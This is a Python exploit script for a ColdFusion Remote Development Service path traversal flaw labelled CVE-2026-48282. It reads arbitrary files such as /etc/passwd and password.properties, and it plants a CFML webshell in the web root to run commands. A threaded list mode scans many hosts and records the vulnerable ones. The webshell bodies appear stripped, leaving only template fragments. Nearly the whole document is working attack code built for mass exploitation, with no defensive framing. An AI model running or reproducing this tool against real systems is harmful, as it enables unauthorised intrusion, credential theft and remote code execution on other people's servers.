#!/usr/bin/env python3 """ CVE-2026-48282 - Adobe ColdFusion RDS Path Traversal Exploit CVSS 10.0 | CWE-22 | Remote Code Execution This exploit targets the Remote Development Service (RDS) in Adobe ColdFusion. When RDS is enabled without authentication, the /CFIDE/main/ide.cfm endpoint is vulnerable to path traversal, allowing arbitrary file read/write and ultimately remote code execution. Affected Versions: - Adobe ColdFusion 2025 <= Update 9 - Adobe ColdFusion 2023 <= Update 20 Usage: python cve-2026-48282.py --target https://example.com --check python cve-2026-48282.py --target https://example.com --read /etc/passwd python cve-2026-48282.py --target https://example.com --read C:\\Windows\\win.ini python cve-2026-48282.py --target https://example.com --write-shell python cve-2026-48282.py --target https://example.com --cmd "whoami" """ import argparse import base64 import os import re import sys import textwrap import time import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, Tuple try: import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except ImportError: print("[!] Missing required dependency: requests") print(" Install with: pip install requests") sys.exit(1) # ─── Configuration ─────────────────────────────────────────────────────────── RDS_ENDPOINT = "/CFIDE/main/ide.cfm" RDS_CONTENT_TYPE = "application/x-ColdFusionIDE" RDS_USER_AGENT = "Dreamweaver-RDS-SCM1.00" # Common webshell paths for different platforms CF_WEBROOTS = [ # Default ColdFusion web roots "C:\\ColdFusion2025\\cfusion\\wwwroot\\", "C:\\ColdFusion2023\\cfusion\\wwwroot\\", "C:\\ColdFusion2021\\cfusion\\wwwroot\\", "C:\\ColdFusion11\\cfusion\\wwwroot\\", "C:\\ColdFusion10\\cfusion\\wwwroot\\", "C:\\ColdFusion9\\wwwroot\\", "C:\\inetpub\\wwwroot\\", "C:\\xampp\\htdocs\\", "C:\\Apache24\\htdocs\\", # Linux defaults "/opt/coldfusion2025/cfusion/wwwroot/", "/opt/coldfusion2023/cfusion/wwwroot/", "/opt/coldfusion2021/cfusion/wwwroot/", "/opt/coldfusion11/cfusion/wwwroot/", "/var/www/html/", "/var/www/", ] # Files that confirm the vulnerability when read successfully CANARY_FILES = { "windows": "C:\\Windows\\win.ini", "linux": "/etc/passwd", } # Path traversal escape sequences to try TRAVERSAL_PAYLOADS = [ # Direct absolute path (may work if no sandbox) "", # Basic traversal "../", "../../", "../../../", "../../../../", "../../../../../", "../../../../../../", # Encoded variants "..%2f", "%2e%2e/", "%2e%2e%2f", # Windows variants "..\\", "..\\..\\", "..\\..\\..\\", "..\\..\\..\\..\\", ] # ─── RDS Protocol Helpers ──────────────────────────────────────────────────── def rds_encode(*fields: str) -> str: """Build an RDS protocol payload string. Format: N:STR:LEN:VALSTR:LEN:VAL... where N is the number of STR: segments. """ parts = [] for val in fields: parts.append(f"STR:{len(val)}:{val}") return f"{len(fields)}:{''.join(parts)}" def rds_read_file(path: str) -> str: """Build RDS READ request for a file path.""" return rds_encode(path, "READ", "", "") def rds_write_file(path: str, content: str) -> str: """Build RDS WRITE request for a file path with content.""" return rds_encode(path, "WRITE", "", content) def rds_browse_dir(path: str) -> str: """Build RDS BrowseDir request.""" return rds_encode(path, "*", "") def rds_check_existence(path: str) -> str: """Build RDS Existence check request.""" return rds_encode(path, "Existence", "", "", "") # ─── HTTP Client ───────────────────────────────────────────────────────────── class RDSSession: """Wraps HTTP communication with the ColdFusion RDS endpoint.""" # Different endpoint variants for different ColdFusion versions ENDPOINT_VARIANTS = [ "/CFIDE/main/ide.cfm", "/CFIDE/main/ide.cfm?ACTION=fileio", "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio", ] def __init__(self, base_url: str, timeout: int = 15, verify: bool = False): self.base_url = base_url.rstrip("/") self.endpoint = f"{self.base_url}{RDS_ENDPOINT}" self.active_endpoint = self.endpoint # Will be updated during detection self.timeout = timeout self.verify = verify self.traversal_prefix = "" # Set during vulnerability detection self.session = requests.Session() self.session.headers.update({ "User-Agent": RDS_USER_AGENT, "Content-Type": RDS_CONTENT_TYPE, }) def _send(self, body: str, endpoint: str = None) -> requests.Response: """Send an RDS request to the specified (or active) endpoint.""" url = endpoint if endpoint else self.active_endpoint return self.session.post( url, data=body, timeout=self.timeout, verify=self.verify, ) def _try_all_endpoints(self, body: str): """Try a request against all endpoint variants, return first success.""" for variant in self.ENDPOINT_VARIANTS: url = f"{self.base_url}{variant}" try: resp = self._send(body, endpoint=url) return resp, url except Exception: continue return None, None def _parse_rds_response(self, text: str) -> str: """Parse RDS response format: 'N:LEN:DATA' → extract DATA. Also handles error responses like '-1:error message'. """ if not text: return "" # Error responses if text.startswith("-1:") or text.startswith("-100:"): return "" # Normal RDS response: N:... or N:LEN:DATA if ":" in text and text[0].isdigit(): parts = text.split(":", 2) if len(parts) >= 3: return parts[2] # It might be browse response: N:2:D:... format return text return text def check_alive(self) -> bool: """Check if the RDS endpoint is reachable (not necessarily vulnerable).""" try: # Try all endpoint variants with a browse for root for variant in self.ENDPOINT_VARIANTS: url = f"{self.base_url}{variant}" body = rds_browse_dir("/") resp = self._send(body, endpoint=url) if resp.status_code is not None: return True except requests.ConnectionError: return False except Exception: return False return False def check_vulnerable(self) -> Tuple[bool, str, str]: """Test if the target is actually vulnerable by attempting to read a canary file. Tries multiple endpoint variants because different CF versions use different query params. Returns (vulnerable, os_type, effective_prefix) where os_type is 'windows' or 'linux', and effective_prefix is the traversal prefix that worked (if any). """ def _check_canary(path: str, os_hint: str, prefix: str) -> Tuple[bool, str, str]: """Try reading a canary file against all endpoint variants.""" body = rds_read_file(path) for variant in self.ENDPOINT_VARIANTS: url = f"{self.base_url}{variant}" try: resp = self._send(body, endpoint=url) if resp.status_code != 200: continue raw = resp.text parsed = self._parse_rds_response(raw) # Check in both raw and parsed response check_text = raw if len(raw) > len(parsed) else parsed if len(check_text) < 10: continue if os_hint == "windows": if "[fonts]" in check_text.lower() or \ ("windows" in check_text.lower() and "ini" in check_text.lower()) or \ ("citect" in check_text.lower()): # Some win.ini variants self.active_endpoint = url return True, os_hint, prefix else: # linux if "root:" in check_text or \ "daemon:" in check_text or \ ("bin/" in check_text and "bash" in check_text): self.active_endpoint = url return True, os_hint, prefix except Exception: continue return False, "", "" # Try Windows canary with all traversal variants for prefix in TRAVERSAL_PAYLOADS: path = prefix + CANARY_FILES["windows"].lstrip("\\") found, os_type, eff_prefix = _check_canary(path, "windows", prefix) if found: return True, os_type, eff_prefix # Try Linux canary with all traversal variants for prefix in TRAVERSAL_PAYLOADS: path = prefix + CANARY_FILES["linux"].lstrip("/") found, os_type, eff_prefix = _check_canary(path, "linux", prefix) if found: return True, os_type, eff_prefix return False, "", "" def read_file(self, path: str) -> Optional[str]: """Read a file from the target filesystem. Uses path traversal to escape the RDS restricted directory. Automatically uses the endpoint variant detected during check. """ body = rds_read_file(path) # Try active endpoint first, then fallback to all variants for endpoint in [self.active_endpoint] + [f"{self.base_url}{v}" for v in self.ENDPOINT_VARIANTS]: try: resp = self._send(body, endpoint=endpoint) if resp.status_code == 200 and len(resp.text) > 0: parsed = self._parse_rds_response(resp.text) return parsed if parsed else resp.text except Exception: continue return None def write_file(self, path: str, content: str) -> bool: """Write content to a file on the target filesystem.""" body = rds_write_file(path, content) for endpoint in [self.active_endpoint] + [f"{self.base_url}{v}" for v in self.ENDPOINT_VARIANTS]: try: resp = self._send(body, endpoint=endpoint) if resp.status_code == 200 and "Unable to authenticate" not in resp.text: return True except Exception: continue return False def browse_dir(self, path: str) -> Optional[str]: """Browse a directory on the target. Directory browsing requires the BrowseDir_Studio servlet, not the fileio servlet used for read/write. """ body = rds_browse_dir(path) # BrowseDir needs the BrowseDir_Studio endpoint specifically browse_endpoints = [ f"{self.base_url}/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio", f"{self.base_url}/CFIDE/main/ide.cfm?ACTION=BrowseDir", self.active_endpoint, ] for endpoint in browse_endpoints: try: resp = self._send(body, endpoint=endpoint) if resp.status_code == 200 and len(resp.text) > 2 and \ "Unsupported file operation" not in resp.text and \ "NullPointerException" not in resp.text: return resp.text except Exception: continue return None # ─── Exploit Logic ─────────────────────────────────────────────────────────── def find_webroot(rds: RDSSession, os_type: str) -> Optional[str]: """Try to locate the ColdFusion web root by probing known paths.""" print("\n[*] Searching for ColdFusion web root...") for root in CF_WEBROOTS: # Filter by OS type if os_type == "windows" and not root.startswith("C:"): continue if os_type == "linux" and root.startswith("C:"): continue # Check if the directory exists by trying to browse it result = rds.browse_dir(root) if result is not None and len(result) > 0: print(f" [+] Found web root: {root}") return root print(" [-] Could not identify web root automatically.") return None def generate_webshell(os_type: str, shell_name: str = "cf_utils.cfm") -> Tuple[str, str]: """Generate a CFML webshell. Returns (shell_name, shell_content). """ # A simple CFML webshell that executes commands webshell = textwrap.dedent("""\
#output#
#name# [#type#] #size#
#content#
""") return shell_name, webshell def deploy_webshell(rds: RDSSession, webroot: str, os_type: str) -> Optional[str]: """Deploy a webshell to the ColdFusion web root.""" shell_name, shell_content = generate_webshell(os_type) # Ensure webroot path has trailing slash format if os_type == "windows": shell_path = webroot.rstrip("\\") + "\\" + shell_name else: shell_path = webroot.rstrip("/") + "/" + shell_name print(f"\n[*] Deploying webshell to: {shell_path}") if rds.write_file(shell_path, shell_content): print(f" [+] Webshell deployed successfully!") # Build the URL shell_url = f"{rds.base_url}/{shell_name}" print(f" [*] Webshell URL: {shell_url}") print(f" [*] Command execution: {shell_url}?cmd=whoami") print(f" [*] File read: {shell_url}?read=/etc/passwd") return shell_url else: print(" [-] Webshell deployment failed.") print(" [!] WRITE operations are blocked (RDS authentication required).") print(" [*] This target is READ-ONLY — use --read to extract data instead.") return None def execute_command(rds: RDSSession, webroot: str, cmd: str, os_type: str) -> Optional[str]: """Execute a single command via webshell (deploys temp webshell).""" shell_name = "cf_tmp_exec.cfm" shell_content = textwrap.dedent(f"""\ #output# """) if os_type == "windows": shell_path = webroot.rstrip("\\") + "\\" + shell_name else: shell_path = webroot.rstrip("/") + "/" + shell_name shell_url = f"{rds.base_url}/{shell_name}" if not rds.write_file(shell_path, shell_content): print(" [-] Cannot deploy temp webshell — WRITE is blocked (RDS auth required).") print(" [*] This target is READ-ONLY. Use --read to extract config files.") return None try: resp = requests.get(shell_url, timeout=15, verify=False) # Cleanup rds.write_file(shell_path, " ") if resp.status_code == 200: return resp.text.strip() except Exception as e: print(f" [!] Error executing command: {e}") # Try cleanup anyway rds.write_file(shell_path, " ") return None # ─── CLI Interface ─────────────────────────────────────────────────────────── def print_banner(): print(""" ┌──────────────────────────────────────────────────┐ │ CVE-2026-48282 Adobe ColdFusion RDS Exploit │ │ CVSS 10.0 | Path Traversal → RCE │ │ Affects: CF2025≤U9, CF2023≤U20 │ └──────────────────────────────────────────────────┘ """) def run_single_target(args): """Run actions against a single target.""" rds = RDSSession( base_url=args.target, timeout=args.timeout, verify=not args.no_verify, ) if args.proxy: rds.session.proxies = {"http": args.proxy, "https": args.proxy} # Step 1: Check if RDS endpoint is alive if not rds.check_alive(): print("[-] RDS endpoint is not reachable. The target may not have RDS enabled.") return {"url": args.target, "vulnerable": False, "error": "rds_not_reachable"} print("[+] RDS endpoint is reachable.") # Step 2: Determine OS type os_type = args.os is_vuln = False traversal_prefix = "" if not os_type: print("\n[*] Detecting OS type...") is_vuln, os_type, traversal_prefix = rds.check_vulnerable() rds.traversal_prefix = traversal_prefix if is_vuln: print(f" [+] Target appears vulnerable, OS: {os_type}") if traversal_prefix: print(f" [+] Effective traversal prefix: {repr(traversal_prefix)}") else: print(" [-] Could not confirm vulnerability via canary files.") print(" [*] Continuing anyway (RDS may use non-standard paths)...") result = {"url": args.target, "vulnerable": is_vuln, "os_type": os_type} # ─── Handle actions ────────────────────────────────────────────────── if args.check: if is_vuln: print(f"\n[✓] TARGET IS VULNERABLE to CVE-2026-48282") print(f" OS Type: {os_type}") if traversal_prefix: print(f" Traversal Prefix: {repr(traversal_prefix)}") print(f" The RDS endpoint allows arbitrary file read/write via path traversal.") else: print("\n[?] Vulnerability status unclear - RDS is reachable but automatic") print(" detection failed. Try --read with a known file path.") if args.read: print(f"\n[*] Reading file: {args.read}") content = rds.read_file(args.read) if content: output = content if args.output: with open(args.output, "w", encoding="utf-8") as f: f.write(output) print(f" [+] Output written to: {args.output}") else: print(f"\n{'─' * 60}") print(output) print(f"{'─' * 60}") else: print(" [-] Failed to read file (empty response or error).") if args.browse: print(f"\n[*] Browsing directory: {args.browse}") content = rds.browse_dir(args.browse) if content: output = content if args.output: with open(args.output, "w", encoding="utf-8") as f: f.write(output) print(f" [+] Output written to: {args.output}") else: print(f"\n{'─' * 60}") print(output) print(f"{'─' * 60}") else: print(" [-] Failed to browse directory.") webroot = args.webroot if args.cmd: if not os_type: print("[-] Cannot execute commands without knowing OS type. Use --os to specify.") sys.exit(1) if not webroot: webroot = find_webroot(rds, os_type) if not webroot: print("[-] Web root not found. Use --webroot to specify manually.") sys.exit(1) print(f"\n[*] Executing command: {args.cmd}") exec_result = execute_command(rds, webroot, args.cmd, os_type) if exec_result: print(f"\n{'─' * 60}") print(exec_result) print(f"{'─' * 60}") else: print(" [-] Command execution failed (WRITE blocked — RDS READ-ONLY).") print(" [*] Use --read to extract files instead. Example:") print(f" python3 cve-2026-48282.py -t {args.target} --read \"C:\\\\ColdFusion2023\\\\cfusion\\\\lib\\\\password.properties\"") if args.write_shell: if not os_type: print("[-] Cannot deploy webshell without knowing OS type. Use --os to specify.") sys.exit(1) if not webroot: webroot = find_webroot(rds, os_type) if not webroot: print("[-] Web root not found. Use --webroot to specify manually.") sys.exit(1) deploy_webshell(rds, webroot, os_type) print("\n[*] Done.") return result def check_target_quick(url: str, timeout: int, verify: bool, proxy: str = None) -> dict: """Quick vulnerability check for list mode. Returns result dict.""" result = {"url": url, "vulnerable": False, "os_type": "", "error": None} try: rds = RDSSession(base_url=url, timeout=timeout, verify=verify) if proxy: rds.session.proxies = {"http": proxy, "https": proxy} if not rds.check_alive(): result["error"] = "rds_not_reachable" return result is_vuln, os_type, prefix = rds.check_vulnerable() result["vulnerable"] = is_vuln result["os_type"] = os_type if not is_vuln: result["error"] = "not_vulnerable" except Exception as e: result["error"] = str(e)[:80] return result def run_list_mode(targets_file: str, args): """Process a list of targets with threading for --check.""" from concurrent.futures import ThreadPoolExecutor, as_completed targets = [] with open(targets_file, "r") as f: for line in f: line = line.strip() if line and not line.startswith("#"): if not line.startswith("http"): line = "https://" + line targets.append(line) if not targets: print("[!] No targets found in file.") return threads = getattr(args, 'threads', 20) or 20 print(f"[*] Targets loaded: {len(targets)}") print(f"[*] Threads: {threads}") print() results = [] completed = 0 start = time.time() with ThreadPoolExecutor(max_workers=threads) as ex: futures = { ex.submit(check_target_quick, t, args.timeout, not args.no_verify, args.proxy): t for t in targets } for future in as_completed(futures): completed += 1 r = future.result() # If --read or --browse specified, do that for vuln targets if r["vulnerable"] and (args.read or args.browse): try: rds = RDSSession(base_url=r["url"], timeout=args.timeout, verify=not args.no_verify) if args.proxy: rds.session.proxies = {"http": args.proxy, "https": args.proxy} if args.read: content = rds.read_file(args.read) if content: r["read_result"] = content[:500] if args.browse: content = rds.browse_dir(args.browse) if content: r["browse_result"] = content[:500] except Exception: pass results.append(r) # Status display status = "🚨 VULN" if r["vulnerable"] else ("🔴 " + (r.get("error") or "?")[:25]) print(f" [{completed:3d}/{len(targets)}] {r['url']:50s} {status}") elapsed = time.time() - start vuln_count = sum(1 for r in results if r["vulnerable"]) print(f"\n{'=' * 60}") print(f"SUMMARY") print(f"{'=' * 60}") print(f" Total: {len(results)}") print(f" 🚨 Vulnerable: {vuln_count}") print(f" Time: {elapsed:.1f}s") print(f"{'=' * 60}") # Save output output_file = args.output or "vuln_targets.txt" with open(output_file, "w") as f: for r in results: if r["vulnerable"]: f.write(f"{r['url']} | OS: {r.get('os_type', '?')}") if r.get("read_result"): f.write(f" | READ: {r['read_result'][:100]}") f.write("\n") print(f"\n[*] Vulnerable targets saved to: {output_file}") return results def main(): parser = argparse.ArgumentParser( description="CVE-2026-48282: Adobe ColdFusion RDS Path Traversal Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent("""\ Examples: %(prog)s -t https://coldfusion.example.com --check %(prog)s -t https://coldfusion.example.com --read /etc/passwd %(prog)s -t https://coldfusion.example.com --read "C:\\\\Windows\\\\win.ini" %(prog)s -t https://coldfusion.example.com --write-shell %(prog)s -t https://coldfusion.example.com --cmd "whoami" %(prog)s -l targets.txt --check %(prog)s -l targets.txt --check --read "C:\\\\Windows\\\\win.ini" -o vuln.txt """), ) # Target specification (mutually exclusive) target_group = parser.add_mutually_exclusive_group(required=True) target_group.add_argument( "-t", "--target", help="Single target URL (e.g., https://example.com:8500)", ) target_group.add_argument( "-l", "--list", metavar="FILE", help="File containing list of targets, one per line", ) parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)") parser.add_argument("--timeout", type=int, default=15, help="Request timeout in seconds (default: 15)") parser.add_argument("--threads", type=int, default=20, help="Threads for list mode (default: 20)") # Actions actions = parser.add_argument_group("Actions") actions.add_argument("--check", action="store_true", help="Check if target is vulnerable to CVE-2026-48282") actions.add_argument("--read", metavar="PATH", help="Read a file from the target filesystem") actions.add_argument("--write-shell", action="store_true", help="Deploy a CFML webshell to the target web root") actions.add_argument("--cmd", metavar="COMMAND", help="Execute a system command (requires --webroot or auto-detection)") actions.add_argument("--browse", metavar="PATH", help="Browse a directory on the target filesystem") # Options options = parser.add_argument_group("Options") options.add_argument("--webroot", metavar="PATH", help="Manually specify ColdFusion web root path") options.add_argument("--os", choices=["windows", "linux"], help="Force OS type detection") options.add_argument("-o", "--output", metavar="FILE", help="Output file for results") options.add_argument("--no-verify", action="store_true", default=False, help="Disable SSL certificate verification") args = parser.parse_args() if not any([args.check, args.read, args.write_shell, args.cmd, args.browse]): parser.print_help() print("\n[!] Error: At least one action (--check, --read, --write-shell, --cmd, --browse) is required.") sys.exit(1) print_banner() # ── List mode ────────────────────────────────────────────────────────── if args.list: print(f"[*] List mode: {args.list}") run_list_mode(args.list, args) return # ── Single target mode ───────────────────────────────────────────────── print(f"[*] Target: {args.target}") print(f"[*] RDS Endpoint: {args.target.rstrip('/')}{RDS_ENDPOINT}") run_single_target(args) if __name__ == "__main__": main()